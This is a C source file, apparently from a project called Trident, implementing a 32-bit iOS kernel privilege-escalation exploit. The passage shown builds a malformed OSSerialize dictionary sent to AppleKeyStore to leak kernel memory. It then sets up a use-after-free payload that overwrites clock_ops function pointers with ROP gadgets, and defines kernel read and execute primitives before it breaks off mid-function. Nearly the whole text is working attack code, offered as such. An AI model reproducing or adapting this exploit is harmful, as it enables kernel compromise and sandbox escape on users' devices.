1373 lines
54 KiB
C
1373 lines
54 KiB
C
//
|
|
// exploit.c
|
|
// Trident
|
|
//
|
|
// Created by Benjamin Randazzo on 06/11/2016.
|
|
// Copyright © 2016 Benjamin Randazzo. All rights reserved.
|
|
//
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <assert.h>
|
|
|
|
#include <pthread.h>
|
|
|
|
#include <sys/syscall.h>
|
|
#include <sys/kauth.h>
|
|
#include <sys/stat.h>
|
|
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
|
|
#include <sys/utsname.h>
|
|
|
|
#include <mach/mach.h>
|
|
|
|
#include <IOKit/IOKitLib.h>
|
|
|
|
#include <dlfcn.h>
|
|
#include <asl.h>
|
|
|
|
#include <spawn.h>
|
|
|
|
enum
|
|
{
|
|
kOSSerializeDictionary = 0x01000000U,
|
|
kOSSerializeArray = 0x02000000U,
|
|
kOSSerializeSet = 0x03000000U,
|
|
kOSSerializeNumber = 0x04000000U,
|
|
kOSSerializeSymbol = 0x08000000U,
|
|
kOSSerializeString = 0x09000000U,
|
|
kOSSerializeData = 0x0a000000U,
|
|
kOSSerializeBoolean = 0x0b000000U,
|
|
kOSSerializeObject = 0x0c000000U,
|
|
kOSSerializeTypeMask = 0x7F000000U,
|
|
kOSSerializeDataMask = 0x00FFFFFFU,
|
|
kOSSerializeEndCollecton = 0x80000000U,
|
|
};
|
|
|
|
#define kOSSerializeBinarySignature "\323\0\0"
|
|
|
|
#define WRITE_IN(buf, data) do { *(uint32_t *)(buf+bufpos) = (data); bufpos+=4; } while(0)
|
|
|
|
typedef void* (*dlopen_ptr)(const char *filename, int flags);
|
|
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
|
|
static dlopen_ptr dlopen_func = 0;
|
|
static dlsym_ptr dlsym_func = 0;
|
|
|
|
#ifdef DEBUG
|
|
#define debug_print(fmt, ...) \
|
|
do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
|
|
#else
|
|
#define debug_print(fmt, ...)
|
|
#endif
|
|
|
|
#define DLSYM_FUNC(func, library, return_type, args...) \
|
|
typedef return_type (*func##_ptr)(args); \
|
|
func##_ptr func##_func = dlsym_func(library, #func); \
|
|
debug_print("function %s = %p!\n", #func, func##_func);
|
|
|
|
#define TTB_SIZE 4096
|
|
|
|
#define L1_SECT_S_BIT (1 << 16)
|
|
#define L1_SECT_PROTO (1 << 1) /* 0b10 */
|
|
#define L1_SECT_AP_URW (1 << 10) | (1 << 11)
|
|
#define L1_SECT_APX (1 << 15)
|
|
#define L1_SECT_DEFPROT (L1_SECT_AP_URW | L1_SECT_APX)
|
|
#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */
|
|
#define L1_SECT_DEFCACHE (L1_SECT_SORDER)
|
|
#define L1_PROTO_TTE(entry) (entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)
|
|
|
|
#define L1_PAGE_PROTO (1 << 0)
|
|
#define L1_COARSE_PT (0xFFFFFC00)
|
|
|
|
#define PT_SIZE 256
|
|
|
|
#define L2_PAGE_APX (1 << 9)
|
|
|
|
static char *lockfile;
|
|
static int fd;
|
|
|
|
static int fildes[2];
|
|
static uint32_t cpipe;
|
|
static uint32_t pipebuf;
|
|
|
|
static clock_serv_t clk_battery;
|
|
static clock_serv_t clk_realtime;
|
|
|
|
struct mac_policy_ops{
|
|
uint32_t mpo_audit_check_postselect;
|
|
uint32_t mpo_audit_check_preselect;
|
|
uint32_t mpo_bpfdesc_label_associate;
|
|
uint32_t mpo_bpfdesc_label_destroy;
|
|
uint32_t mpo_bpfdesc_label_init;
|
|
uint32_t mpo_bpfdesc_check_receive;
|
|
uint32_t mpo_cred_check_label_update_execve;
|
|
uint32_t mpo_cred_check_label_update;
|
|
uint32_t mpo_cred_check_visible;
|
|
uint32_t mpo_cred_label_associate_fork;
|
|
uint32_t mpo_cred_label_associate_kernel;
|
|
uint32_t mpo_cred_label_associate;
|
|
uint32_t mpo_cred_label_associate_user;
|
|
uint32_t mpo_cred_label_destroy;
|
|
uint32_t mpo_cred_label_externalize_audit;
|
|
uint32_t mpo_cred_label_externalize;
|
|
uint32_t mpo_cred_label_init;
|
|
uint32_t mpo_cred_label_internalize;
|
|
uint32_t mpo_cred_label_update_execve;
|
|
uint32_t mpo_cred_label_update;
|
|
uint32_t mpo_devfs_label_associate_device;
|
|
uint32_t mpo_devfs_label_associate_directory;
|
|
uint32_t mpo_devfs_label_copy;
|
|
uint32_t mpo_devfs_label_destroy;
|
|
uint32_t mpo_devfs_label_init;
|
|
uint32_t mpo_devfs_label_update;
|
|
uint32_t mpo_file_check_change_offset;
|
|
uint32_t mpo_file_check_create;
|
|
uint32_t mpo_file_check_dup;
|
|
uint32_t mpo_file_check_fcntl;
|
|
uint32_t mpo_file_check_get_offset;
|
|
uint32_t mpo_file_check_get;
|
|
uint32_t mpo_file_check_inherit;
|
|
uint32_t mpo_file_check_ioctl;
|
|
uint32_t mpo_file_check_lock;
|
|
uint32_t mpo_file_check_mmap_downgrade;
|
|
uint32_t mpo_file_check_mmap;
|
|
uint32_t mpo_file_check_receive;
|
|
uint32_t mpo_file_check_set;
|
|
uint32_t mpo_file_label_init;
|
|
uint32_t mpo_file_label_destroy;
|
|
uint32_t mpo_file_label_associate;
|
|
uint32_t mpo_ifnet_check_label_update;
|
|
uint32_t mpo_ifnet_check_transmit;
|
|
uint32_t mpo_ifnet_label_associate;
|
|
uint32_t mpo_ifnet_label_copy;
|
|
uint32_t mpo_ifnet_label_destroy;
|
|
uint32_t mpo_ifnet_label_externalize;
|
|
uint32_t mpo_ifnet_label_init;
|
|
uint32_t mpo_ifnet_label_internalize;
|
|
uint32_t mpo_ifnet_label_update;
|
|
uint32_t mpo_ifnet_label_recycle;
|
|
uint32_t mpo_inpcb_check_deliver;
|
|
uint32_t mpo_inpcb_label_associate;
|
|
uint32_t mpo_inpcb_label_destroy;
|
|
uint32_t mpo_inpcb_label_init;
|
|
uint32_t mpo_inpcb_label_recycle;
|
|
uint32_t mpo_inpcb_label_update;
|
|
uint32_t mpo_iokit_check_device;
|
|
uint32_t mpo_ipq_label_associate;
|
|
uint32_t mpo_ipq_label_compare;
|
|
uint32_t mpo_ipq_label_destroy;
|
|
uint32_t mpo_ipq_label_init;
|
|
uint32_t mpo_ipq_label_update;
|
|
uint32_t mpo_file_check_library_validation;
|
|
uint32_t mpo_vnode_notify_setacl;
|
|
uint32_t mpo_vnode_notify_setattrlist;
|
|
uint32_t mpo_vnode_notify_setextattr;
|
|
uint32_t mpo_vnode_notify_setflags;
|
|
uint32_t mpo_vnode_notify_setmode;
|
|
uint32_t mpo_vnode_notify_setowner;
|
|
uint32_t mpo_vnode_notify_setutimes;
|
|
uint32_t mpo_vnode_notify_truncate;
|
|
uint32_t mpo_mbuf_label_associate_bpfdesc;
|
|
uint32_t mpo_mbuf_label_associate_ifnet;
|
|
uint32_t mpo_mbuf_label_associate_inpcb;
|
|
uint32_t mpo_mbuf_label_associate_ipq;
|
|
uint32_t mpo_mbuf_label_associate_linklayer;
|
|
uint32_t mpo_mbuf_label_associate_multicast_encap;
|
|
uint32_t mpo_mbuf_label_associate_netlayer;
|
|
uint32_t mpo_mbuf_label_associate_socket;
|
|
uint32_t mpo_mbuf_label_copy;
|
|
uint32_t mpo_mbuf_label_destroy;
|
|
uint32_t mpo_mbuf_label_init;
|
|
uint32_t mpo_mount_check_fsctl;
|
|
uint32_t mpo_mount_check_getattr;
|
|
uint32_t mpo_mount_check_label_update;
|
|
uint32_t mpo_mount_check_mount;
|
|
uint32_t mpo_mount_check_remount;
|
|
uint32_t mpo_mount_check_setattr;
|
|
uint32_t mpo_mount_check_stat;
|
|
uint32_t mpo_mount_check_umount;
|
|
uint32_t mpo_mount_label_associate;
|
|
uint32_t mpo_mount_label_destroy;
|
|
uint32_t mpo_mount_label_externalize;
|
|
uint32_t mpo_mount_label_init;
|
|
uint32_t mpo_mount_label_internalize;
|
|
uint32_t mpo_netinet_fragment;
|
|
uint32_t mpo_netinet_icmp_reply;
|
|
uint32_t mpo_netinet_tcp_reply;
|
|
uint32_t mpo_pipe_check_ioctl;
|
|
uint32_t mpo_pipe_check_kqfilter;
|
|
uint32_t mpo_pipe_check_label_update;
|
|
uint32_t mpo_pipe_check_read;
|
|
uint32_t mpo_pipe_check_select;
|
|
uint32_t mpo_pipe_check_stat;
|
|
uint32_t mpo_pipe_check_write;
|
|
uint32_t mpo_pipe_label_associate;
|
|
uint32_t mpo_pipe_label_copy;
|
|
uint32_t mpo_pipe_label_destroy;
|
|
uint32_t mpo_pipe_label_externalize;
|
|
uint32_t mpo_pipe_label_init;
|
|
uint32_t mpo_pipe_label_internalize;
|
|
uint32_t mpo_pipe_label_update;
|
|
uint32_t mpo_policy_destroy;
|
|
uint32_t mpo_policy_init;
|
|
uint32_t mpo_policy_initbsd;
|
|
uint32_t mpo_policy_syscall;
|
|
uint32_t mpo_system_check_sysctlbyname;
|
|
uint32_t mpo_proc_check_inherit_ipc_ports;
|
|
uint32_t mpo_vnode_check_rename;
|
|
uint32_t mpo_kext_check_query;
|
|
uint32_t mpo_iokit_check_nvram_get;
|
|
uint32_t mpo_iokit_check_nvram_set;
|
|
uint32_t mpo_iokit_check_nvram_delete;
|
|
uint32_t mpo_proc_check_expose_task;
|
|
uint32_t mpo_proc_check_set_host_special_port;
|
|
uint32_t mpo_proc_check_set_host_exception_port;
|
|
uint32_t mpo_exc_action_check_exception_send;
|
|
uint32_t mpo_exc_action_label_associate;
|
|
uint32_t mpo_exc_action_label_populate;
|
|
uint32_t mpo_exc_action_label_destroy;
|
|
uint32_t mpo_exc_action_label_init;
|
|
uint32_t mpo_exc_action_label_update;
|
|
uint32_t mpo_reserved1;
|
|
uint32_t mpo_reserved2;
|
|
uint32_t mpo_reserved3;
|
|
uint32_t mpo_reserved4;
|
|
uint32_t mpo_skywalk_flow_check_connect;
|
|
uint32_t mpo_skywalk_flow_check_listen;
|
|
uint32_t mpo_posixsem_check_create;
|
|
uint32_t mpo_posixsem_check_open;
|
|
uint32_t mpo_posixsem_check_post;
|
|
uint32_t mpo_posixsem_check_unlink;
|
|
uint32_t mpo_posixsem_check_wait;
|
|
uint32_t mpo_posixsem_label_associate;
|
|
uint32_t mpo_posixsem_label_destroy;
|
|
uint32_t mpo_posixsem_label_init;
|
|
uint32_t mpo_posixshm_check_create;
|
|
uint32_t mpo_posixshm_check_mmap;
|
|
uint32_t mpo_posixshm_check_open;
|
|
uint32_t mpo_posixshm_check_stat;
|
|
uint32_t mpo_posixshm_check_truncate;
|
|
uint32_t mpo_posixshm_check_unlink;
|
|
uint32_t mpo_posixshm_label_associate;
|
|
uint32_t mpo_posixshm_label_destroy;
|
|
uint32_t mpo_posixshm_label_init;
|
|
uint32_t mpo_proc_check_debug;
|
|
uint32_t mpo_proc_check_fork;
|
|
uint32_t mpo_proc_check_get_task_name;
|
|
uint32_t mpo_proc_check_get_task;
|
|
uint32_t mpo_proc_check_getaudit;
|
|
uint32_t mpo_proc_check_getauid;
|
|
uint32_t mpo_proc_check_getlcid;
|
|
uint32_t mpo_proc_check_mprotect;
|
|
uint32_t mpo_proc_check_sched;
|
|
uint32_t mpo_proc_check_setaudit;
|
|
uint32_t mpo_proc_check_setauid;
|
|
uint32_t mpo_proc_check_setlcid;
|
|
uint32_t mpo_proc_check_signal;
|
|
uint32_t mpo_proc_check_wait;
|
|
uint32_t mpo_proc_label_destroy;
|
|
uint32_t mpo_proc_label_init;
|
|
uint32_t mpo_socket_check_accept;
|
|
uint32_t mpo_socket_check_accepted;
|
|
uint32_t mpo_socket_check_bind;
|
|
uint32_t mpo_socket_check_connect;
|
|
uint32_t mpo_socket_check_create;
|
|
uint32_t mpo_socket_check_deliver;
|
|
uint32_t mpo_socket_check_kqfilter;
|
|
uint32_t mpo_socket_check_label_update;
|
|
uint32_t mpo_socket_check_listen;
|
|
uint32_t mpo_socket_check_receive;
|
|
uint32_t mpo_socket_check_received;
|
|
uint32_t mpo_socket_check_select;
|
|
uint32_t mpo_socket_check_send;
|
|
uint32_t mpo_socket_check_stat;
|
|
uint32_t mpo_socket_check_setsockopt;
|
|
uint32_t mpo_socket_check_getsockopt;
|
|
uint32_t mpo_socket_label_associate_accept;
|
|
uint32_t mpo_socket_label_associate;
|
|
uint32_t mpo_socket_label_copy;
|
|
uint32_t mpo_socket_label_destroy;
|
|
uint32_t mpo_socket_label_externalize;
|
|
uint32_t mpo_socket_label_init;
|
|
uint32_t mpo_socket_label_internalize;
|
|
uint32_t mpo_socket_label_update;
|
|
uint32_t mpo_socketpeer_label_associate_mbuf;
|
|
uint32_t mpo_socketpeer_label_associate_socket;
|
|
uint32_t mpo_socketpeer_label_destroy;
|
|
uint32_t mpo_socketpeer_label_externalize;
|
|
uint32_t mpo_socketpeer_label_init;
|
|
uint32_t mpo_system_check_acct;
|
|
uint32_t mpo_system_check_audit;
|
|
uint32_t mpo_system_check_auditctl;
|
|
uint32_t mpo_system_check_auditon;
|
|
uint32_t mpo_system_check_host_priv;
|
|
uint32_t mpo_system_check_nfsd;
|
|
uint32_t mpo_system_check_reboot;
|
|
uint32_t mpo_system_check_settime;
|
|
uint32_t mpo_system_check_swapoff;
|
|
uint32_t mpo_system_check_swapon;
|
|
uint32_t mpo_socket_check_ioctl;
|
|
uint32_t mpo_sysvmsg_label_associate;
|
|
uint32_t mpo_sysvmsg_label_destroy;
|
|
uint32_t mpo_sysvmsg_label_init;
|
|
uint32_t mpo_sysvmsg_label_recycle;
|
|
uint32_t mpo_sysvmsq_check_enqueue;
|
|
uint32_t mpo_sysvmsq_check_msgrcv;
|
|
uint32_t mpo_sysvmsq_check_msgrmid;
|
|
uint32_t mpo_sysvmsq_check_msqctl;
|
|
uint32_t mpo_sysvmsq_check_msqget;
|
|
uint32_t mpo_sysvmsq_check_msqrcv;
|
|
uint32_t mpo_sysvmsq_check_msqsnd;
|
|
uint32_t mpo_sysvmsq_label_associate;
|
|
uint32_t mpo_sysvmsq_label_destroy;
|
|
uint32_t mpo_sysvmsq_label_init;
|
|
uint32_t mpo_sysvmsq_label_recycle;
|
|
uint32_t mpo_sysvsem_check_semctl;
|
|
uint32_t mpo_sysvsem_check_semget;
|
|
uint32_t mpo_sysvsem_check_semop;
|
|
uint32_t mpo_sysvsem_label_associate;
|
|
uint32_t mpo_sysvsem_label_destroy;
|
|
uint32_t mpo_sysvsem_label_init;
|
|
uint32_t mpo_sysvsem_label_recycle;
|
|
uint32_t mpo_sysvshm_check_shmat;
|
|
uint32_t mpo_sysvshm_check_shmctl;
|
|
uint32_t mpo_sysvshm_check_shmdt;
|
|
uint32_t mpo_sysvshm_check_shmget;
|
|
uint32_t mpo_sysvshm_label_associate;
|
|
uint32_t mpo_sysvshm_label_destroy;
|
|
uint32_t mpo_sysvshm_label_init;
|
|
uint32_t mpo_sysvshm_label_recycle;
|
|
uint32_t mpo_proc_notify_exit;
|
|
uint32_t mpo_mount_check_snapshot_revert;
|
|
uint32_t mpo_vnode_check_getattr;
|
|
uint32_t mpo_mount_check_snapshot_create;
|
|
uint32_t mpo_mount_check_snapshot_delete;
|
|
uint32_t mpo_vnode_check_clone;
|
|
uint32_t mpo_proc_check_get_cs_info;
|
|
uint32_t mpo_proc_check_set_cs_info;
|
|
uint32_t mpo_iokit_check_hid_control;
|
|
uint32_t mpo_vnode_check_access;
|
|
uint32_t mpo_vnode_check_chdir;
|
|
uint32_t mpo_vnode_check_chroot;
|
|
uint32_t mpo_vnode_check_create;
|
|
uint32_t mpo_vnode_check_deleteextattr;
|
|
uint32_t mpo_vnode_check_exchangedata;
|
|
uint32_t mpo_vnode_check_exec;
|
|
uint32_t mpo_vnode_check_getattrlist;
|
|
uint32_t mpo_vnode_check_getextattr;
|
|
uint32_t mpo_vnode_check_ioctl;
|
|
uint32_t mpo_vnode_check_kqfilter;
|
|
uint32_t mpo_vnode_check_label_update;
|
|
uint32_t mpo_vnode_check_link;
|
|
uint32_t mpo_vnode_check_listextattr;
|
|
uint32_t mpo_vnode_check_lookup;
|
|
uint32_t mpo_vnode_check_open;
|
|
uint32_t mpo_vnode_check_read;
|
|
uint32_t mpo_vnode_check_readdir;
|
|
uint32_t mpo_vnode_check_readlink;
|
|
uint32_t mpo_vnode_check_rename_from;
|
|
uint32_t mpo_vnode_check_rename_to;
|
|
uint32_t mpo_vnode_check_revoke;
|
|
uint32_t mpo_vnode_check_select;
|
|
uint32_t mpo_vnode_check_setattrlist;
|
|
uint32_t mpo_vnode_check_setextattr;
|
|
uint32_t mpo_vnode_check_setflags;
|
|
uint32_t mpo_vnode_check_setmode;
|
|
uint32_t mpo_vnode_check_setowner;
|
|
uint32_t mpo_vnode_check_setutimes;
|
|
uint32_t mpo_vnode_check_stat;
|
|
uint32_t mpo_vnode_check_truncate;
|
|
uint32_t mpo_vnode_check_unlink;
|
|
uint32_t mpo_vnode_check_write;
|
|
uint32_t mpo_vnode_label_associate_devfs;
|
|
uint32_t mpo_vnode_label_associate_extattr;
|
|
uint32_t mpo_vnode_label_associate_file;
|
|
uint32_t mpo_vnode_label_associate_pipe;
|
|
uint32_t mpo_vnode_label_associate_posixsem;
|
|
uint32_t mpo_vnode_label_associate_posixshm;
|
|
uint32_t mpo_vnode_label_associate_singlelabel;
|
|
uint32_t mpo_vnode_label_associate_socket;
|
|
uint32_t mpo_vnode_label_copy;
|
|
uint32_t mpo_vnode_label_destroy;
|
|
uint32_t mpo_vnode_label_externalize_audit;
|
|
uint32_t mpo_vnode_label_externalize;
|
|
uint32_t mpo_vnode_label_init;
|
|
uint32_t mpo_vnode_label_internalize;
|
|
uint32_t mpo_vnode_label_recycle;
|
|
uint32_t mpo_vnode_label_store;
|
|
uint32_t mpo_vnode_label_update_extattr;
|
|
uint32_t mpo_vnode_label_update;
|
|
uint32_t mpo_vnode_notify_create;
|
|
uint32_t mpo_vnode_check_signature;
|
|
uint32_t mpo_vnode_check_uipc_bind;
|
|
uint32_t mpo_vnode_check_uipc_connect;
|
|
uint32_t mpo_proc_check_run_cs_invalid;
|
|
uint32_t mpo_proc_check_suspend_resume;
|
|
uint32_t mpo_thread_userret;
|
|
uint32_t mpo_iokit_check_set_properties;
|
|
uint32_t mpo_system_check_chud;
|
|
uint32_t mpo_vnode_check_searchfs;
|
|
uint32_t mpo_priv_check;
|
|
uint32_t mpo_priv_grant;
|
|
uint32_t mpo_proc_check_map_anon;
|
|
uint32_t mpo_vnode_check_fsgetpath;
|
|
uint32_t mpo_iokit_check_open;
|
|
uint32_t mpo_proc_check_ledger;
|
|
uint32_t mpo_vnode_notify_rename;
|
|
uint32_t mpo_vnode_check_setacl;
|
|
uint32_t mpo_vnode_notify_deleteextattr;
|
|
uint32_t mpo_system_check_kas_info;
|
|
uint32_t mpo_vnode_check_lookup_preflight;
|
|
uint32_t mpo_vnode_notify_open;
|
|
uint32_t mpo_system_check_info;
|
|
uint32_t mpo_pty_notify_grant;
|
|
uint32_t mpo_pty_notify_close;
|
|
uint32_t mpo_vnode_find_sigs;
|
|
uint32_t mpo_kext_check_load;
|
|
uint32_t mpo_kext_check_unload;
|
|
uint32_t mpo_proc_check_proc_info;
|
|
uint32_t mpo_vnode_notify_link;
|
|
uint32_t mpo_iokit_check_filter_properties;
|
|
uint32_t mpo_iokit_check_get_property;
|
|
};
|
|
|
|
#include "offsets32.c"
|
|
|
|
static unsigned char clock_ops_overwrite[] = {
|
|
0x00, 0x00, 0x00, 0x00, // [00] (rtclock.getattr): address of OSSerializer::serialize (+1)
|
|
0x00, 0x00, 0x00, 0x00, // [04] (calend_config): NULL
|
|
0x00, 0x00, 0x00, 0x00, // [08] (calend_init): NULL
|
|
0x00, 0x00, 0x00, 0x00, // [0C] (calend_gettime): address of calend_gettime (+1)
|
|
0x00, 0x00, 0x00, 0x00, // [10] (calend_getattr): address of _bufattr_cpx (+1)
|
|
};
|
|
|
|
static unsigned char uaf_payload_buffer[] = {
|
|
0x00, 0x00, 0x00, 0x00, // [00] ptr to clock_ops_overwrite buffer
|
|
0x00, 0x00, 0x00, 0x00, // [04] address of clock_ops array in kern memory
|
|
0x00, 0x00, 0x00, 0x00, // [08] address of _copyin
|
|
0x00, 0x00, 0x00, 0x00, // [0C] NULL
|
|
0x00, 0x00, 0x00, 0x00, // [10] address of OSSerializer::serialize (+1)
|
|
0x00, 0x00, 0x00, 0x00, // [14] address of "BX LR" code fragment
|
|
0x00, 0x00, 0x00, 0x00, // [18] NULL
|
|
0x00, 0x00, 0x00, 0x00, // [1C] address of OSSymbol::getMetaClass (+1)
|
|
0x00, 0x00, 0x00, 0x00, // [20] address of "BX LR" code fragment
|
|
0x00, 0x00, 0x00, 0x00, // [24] address of "BX LR" code fragment
|
|
};
|
|
|
|
static unsigned char pExploit[128];
|
|
|
|
#define PAYLOAD_TO_PEXPLOIT (-76)
|
|
#define PEXPLOIT_TO_UAF_PAYLOAD 8
|
|
|
|
static vm_offset_t vm_kernel_addrperm;
|
|
|
|
static uint32_t write_gadget; // address of "str r1, [r0, #0xc] ; bx lr"
|
|
|
|
typedef kern_return_t (*clock_get_attributes_ptr)(clock_t clock_name, clock_flavor_t flavor, clock_attr_t attribute, mach_msg_type_number_t attribute_count);
|
|
static clock_get_attributes_ptr clock_get_attributes_func;
|
|
|
|
typedef ssize_t (*read_ptr)(int fd, void *buf, size_t count);
|
|
static read_ptr read_func;
|
|
|
|
typedef ssize_t (*write_ptr)(int fd, const void *buf, size_t count);
|
|
static write_ptr write_func;
|
|
|
|
void *insert_payload(void *ptr)
|
|
{
|
|
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
|
|
|
|
#ifdef DEBUG
|
|
typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);
|
|
asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");
|
|
#endif
|
|
|
|
typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);
|
|
memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");
|
|
|
|
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
|
|
|
|
typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);
|
|
IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");
|
|
|
|
typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);
|
|
IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");
|
|
|
|
typedef mach_port_t (*mach_task_self_ptr)();
|
|
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
|
|
|
|
typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
|
|
io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");
|
|
|
|
typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
|
|
IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");
|
|
|
|
typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);
|
|
IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");
|
|
|
|
typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);
|
|
IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");
|
|
|
|
typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);
|
|
IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");
|
|
|
|
char stackAnchor;
|
|
uint32_t bufpos; // unsigned int size;
|
|
char buffer[4096];
|
|
int v26;
|
|
mach_port_t connection;
|
|
kern_return_t result;
|
|
|
|
char *p = (char *)((unsigned int)&stackAnchor & 0xFFFFF000);
|
|
// kauth_filesec.fsec_magic
|
|
*(uint32_t *)(p + 0xEC0) = 0x12CC16D;
|
|
// kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL
|
|
*(uint32_t *)(p + 0xEE4) = -1;
|
|
// kauth_filesec.fsec_acl.acl_ace[...]
|
|
memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);
|
|
|
|
memcpy_func(buffer, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
|
|
bufpos = sizeof(kOSSerializeBinarySignature);
|
|
|
|
WRITE_IN(buffer, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);
|
|
|
|
WRITE_IN(buffer, kOSSerializeSymbol | 128);
|
|
// "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara"
|
|
for (v26=0; v26<124; v26+=4) {
|
|
WRITE_IN(buffer, 0x72617261);
|
|
}
|
|
WRITE_IN(buffer, 0x00617261);
|
|
WRITE_IN(buffer, kOSSerializeNumber | 2048);
|
|
WRITE_IN(buffer, 0x00000004);
|
|
WRITE_IN(buffer, 0X00000000);
|
|
|
|
WRITE_IN(buffer, kOSSerializeSymbol | 30);
|
|
WRITE_IN(buffer, 0x4b444948); // "HIDKeyboardModifierMappingDst"
|
|
WRITE_IN(buffer, 0x6f627965);
|
|
WRITE_IN(buffer, 0x4d647261);
|
|
WRITE_IN(buffer, 0x6669646f);
|
|
WRITE_IN(buffer, 0x4d726569);
|
|
WRITE_IN(buffer, 0x69707061);
|
|
WRITE_IN(buffer, 0x7344676e);
|
|
WRITE_IN(buffer, 0x00000074);
|
|
WRITE_IN(buffer, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
|
|
WRITE_IN(buffer, 0x00000193);
|
|
WRITE_IN(buffer, 0x00000000);
|
|
|
|
io_service_t service = IOServiceGetMatchingService_func(0, IOServiceMatching_func("AppleKeyStore"));
|
|
|
|
NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");
|
|
io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, buffer, bufpos, &result, &connection);
|
|
if (result != KERN_SUCCESS) {
|
|
debug_print("%s\n", "io_service_open_extended fail");
|
|
return NULL;
|
|
}
|
|
|
|
io_object_t object = 0;
|
|
uint32_t size = sizeof(buffer);
|
|
io_iterator_t iterator;
|
|
IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);
|
|
uint32_t *args = (uint32_t *)ptr;
|
|
uint32_t kernel_base = *args;
|
|
uint32_t payload_ptr = 0;
|
|
|
|
do {
|
|
if (object) {
|
|
IOObjectRelease_func(object);
|
|
}
|
|
object = IOIteratorNext_func(iterator);
|
|
} while (IORegistryEntryGetProperty_func(object, "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara", buffer, &size));
|
|
|
|
if (size > 8) {
|
|
payload_ptr = *(uint32_t *)(buffer+16);
|
|
}
|
|
|
|
*(uint32_t *)clock_ops_overwrite = kernel_base + find_OSSerializer_serialize() + 1;
|
|
*(uint32_t *)(clock_ops_overwrite+0xC) = kernel_base + find_calend_gettime() + 1;
|
|
*(uint32_t *)(clock_ops_overwrite+0x10) = kernel_base + find_bufattr_cpx() + 1;
|
|
|
|
*(uint32_t *)uaf_payload_buffer = (uint32_t)clock_ops_overwrite;
|
|
*(uint32_t *)(uaf_payload_buffer+0x4) = kernel_base + find_clock_ops();
|
|
*(uint32_t *)(uaf_payload_buffer+0x8) = kernel_base + find_copyin();
|
|
*(uint32_t *)(uaf_payload_buffer+0x10) = kernel_base + find_OSSerializer_serialize() + 1;
|
|
*(uint32_t *)(uaf_payload_buffer+0x14) = kernel_base + find_bx_lr();
|
|
*(uint32_t *)(uaf_payload_buffer+0x1C) = kernel_base + find_OSSymbol_getMetaClass() + 1;
|
|
*(uint32_t *)(uaf_payload_buffer+0x20) = kernel_base + find_bx_lr();
|
|
*(uint32_t *)(uaf_payload_buffer+0x24) = kernel_base + find_bx_lr();
|
|
|
|
memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD, uaf_payload_buffer, sizeof(uaf_payload_buffer));
|
|
memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD+sizeof(uaf_payload_buffer), clock_ops_overwrite, sizeof(clock_ops_overwrite));
|
|
|
|
// kauth_filesec.fsec_acl.acl_ace[...]
|
|
memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);
|
|
|
|
*(uint32_t *)(args[1]) = payload_ptr;
|
|
|
|
asm_syscall(SYS_open_extended, (long)lockfile, O_WRONLY | O_EXLOCK, KAUTH_UID_NONE, KAUTH_GID_NONE, 0644, (long)(p + 0xEC0));
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
uint32_t read_primitive(uint32_t addr) {
|
|
int attr;
|
|
unsigned int attrCnt;
|
|
|
|
return clock_get_attributes_func(clk_battery, addr, &attr, (mach_msg_type_number_t)&attrCnt);
|
|
}
|
|
|
|
void exec_primitive(uint32_t fct, uint32_t arg1, uint32_t arg2) {
|
|
int attr;
|
|
unsigned int attrCnt;
|
|
char data[64];
|
|
|
|
write_func(fildes[1], "AAAABBBB", 8);
